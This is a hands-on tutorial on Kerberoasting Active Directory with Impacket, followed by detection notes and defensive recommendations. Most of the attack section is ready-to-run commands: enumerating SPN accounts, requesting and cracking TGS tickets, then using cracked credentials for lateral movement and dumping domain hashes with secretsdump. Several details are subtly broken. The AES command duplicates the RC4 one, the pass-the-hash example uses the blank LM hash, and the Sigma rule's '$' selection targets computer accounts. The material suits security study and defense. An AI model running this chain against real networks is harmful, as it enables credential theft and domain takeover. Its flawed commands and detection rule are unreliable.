Exploiting Kerberoasting with Impacket

Overview

Kerberoasting (MITRE ATT&CK T1558.003) is a credential access technique that targets Active Directory service accounts by requesting Kerberos TGS (Ticket Granting Service) tickets for accounts with Service Principal Names (SPNs). The TGS ticket is encrypted with the service account's NTLM hash (RC4 or AES), enabling offline brute-force cracking. Impacket's GetUserSPNs.py is the standard tool for Linux-based Kerberoasting attacks.

Prerequisites

Valid domain credentials (any domain user can request TGS tickets)
Network access to a Domain Controller (TCP/88 Kerberos, TCP/389 LDAP)
Impacket installed (pip install impacket)
Hashcat or John the Ripper for offline cracking
Wordlist (e.g., rockyou.txt, SecLists)

MITRE ATT&CK Mapping

Technique ID	Name	Tactic
T1558.003	Steal or Forge Kerberos Tickets: Kerberoasting	Credential Access
T1087.002	Account Discovery: Domain Account	Discovery
T1110.002	Brute Force: Password Cracking	Credential Access

Step 1: Enumerate Kerberoastable Accounts

# List all user accounts with SPNs (without requesting tickets)
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1

# Output example:
# ServicePrincipalName          Name        MemberOf                          PasswordLastSet
# ----------------------------  ----------  --------------------------------  -------------------
# MSSQLSvc/SQL01.corp.local     svc_sql     CN=Domain Admins,CN=Users,...     2023-01-15 10:30:22
# HTTP/web01.corp.local         svc_web     CN=Web Admins,CN=Users,...        2024-03-20 14:15:00
# HOST/backup01.corp.local      svc_backup  CN=Backup Operators,CN=Users,...  2022-06-01 08:45:10

Step 2: Request TGS Tickets

# Request TGS tickets for all Kerberoastable accounts
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 -request

# Request ticket for a specific SPN
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
  -request-user svc_sql

# Output format (hashcat-compatible):
# $krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/SQL01.corp.local*$abc123...

# Save to file for cracking
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
  -request -outputfile kerberoast_hashes.txt

# Using NTLM hash instead of password (Pass-the-Hash)
GetUserSPNs.py corp.local/jsmith -hashes :aad3b435b51404eeaad3b435b51404ee \
  -dc-ip 10.10.10.1 -request -outputfile hashes.txt

# Request AES tickets (if available)
GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 10.10.10.1 \
  -request -outputfile hashes.txt

Step 3: Crack TGS Tickets Offline

# Hashcat - RC4 encrypted tickets (mode 13100)
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \
  --rules-file /usr/share/hashcat/rules/best64.rule

# Hashcat - AES-256 encrypted tickets (mode 19700)
hashcat -m 19700 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt

# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt kerberoast_hashes.txt

# Check results
hashcat -m 13100 kerberoast_hashes.txt --show
# $krb5tgs$23$*svc_sql$CORP.LOCAL$...*$...:Summer2024!

Step 4: Validate and Use Cracked Credentials

# Verify cracked credentials
crackmapexec smb 10.10.10.1 -u svc_sql -p 'Summer2024!' -d corp.local

# Check for local admin access
crackmapexec smb 10.10.10.0/24 -u svc_sql -p 'Summer2024!' -d corp.local --local-auth

# Use credentials for lateral movement
psexec.py corp.local/svc_sql:'Summer2024!'@SQL01.corp.local

# If service account is Domain Admin
secretsdump.py corp.local/svc_sql:'Summer2024!'@10.10.10.1 -just-dc-ntlm

Alternative Tools

Rubeus (Windows)

# Kerberoast all accounts
.\Rubeus.exe kerberoast /outfile:hashes.txt

# Target specific user
.\Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql_hash.txt

# Request RC4-only tickets (easier to crack)
.\Rubeus.exe kerberoast /tgtdeleg /outfile:hashes.txt

# Kerberoast with AES
.\Rubeus.exe kerberoast /aes /outfile:hashes.txt

PowerView (PowerShell)

Import-Module .\PowerView.ps1
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty Hash | Out-File hashes.txt

Targeted Kerberoasting

High-value targets for Kerberoasting:

Account Type	Why	Risk
Service accounts in Domain Admins	Direct path to domain compromise	Critical
SQL service accounts (MSSQLSvc)	Often have excessive privileges	High
Exchange service accounts	Access to all email	High
Accounts with AdminCount=1	Previously/currently privileged	High
Accounts with old passwords	More likely to use weak passwords	Medium

Detection

Windows Event Logs

Event ID 4769 - Kerberos Service Ticket Request
- Monitor for: Encryption type 0x17 (RC4-HMAC) when AES is expected
- Monitor for: Single user requesting many TGS tickets in short period
- Monitor for: Service ticket requests from unusual source IPs

Sigma Rule

title: Potential Kerberoasting Activity
status: stable
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4769
        TicketEncryptionType: '0x17'  # RC4
        ServiceName|endswith: '$'
    filter:
        ServiceName: 'krbtgt'
    condition: selection and not filter
level: medium
tags:
    - attack.credential_access
    - attack.t1558.003

Defensive Recommendations

Use Group Managed Service Accounts (gMSA) - 240-character random passwords, auto-rotated
Set strong passwords (25+ chars) on all service accounts
Enable AES-only encryption - Disable RC4 via GPO
Monitor Event ID 4769 for RC4 TGS requests
Implement Managed Service Accounts where gMSA is not feasible
Regular audits - Run BloodHound to identify Kerberoastable accounts
Protected Users group - Add sensitive service accounts
Honeypot SPNs - Create decoy accounts with SPNs to detect attacks

References

MITRE ATT&CK T1558.003: https://attack.mitre.org/techniques/T1558/003/
Impacket: https://github.com/fortra/impacket
Harmj0y's Kerberoasting Revisited: https://posts.specterops.io/kerberoasting-revisited-d434351bd4d1
Detection Strategy DET0157: https://attack.mitre.org/detectionstrategies/DET0157/

exploiting-kerberoasting-with-impacket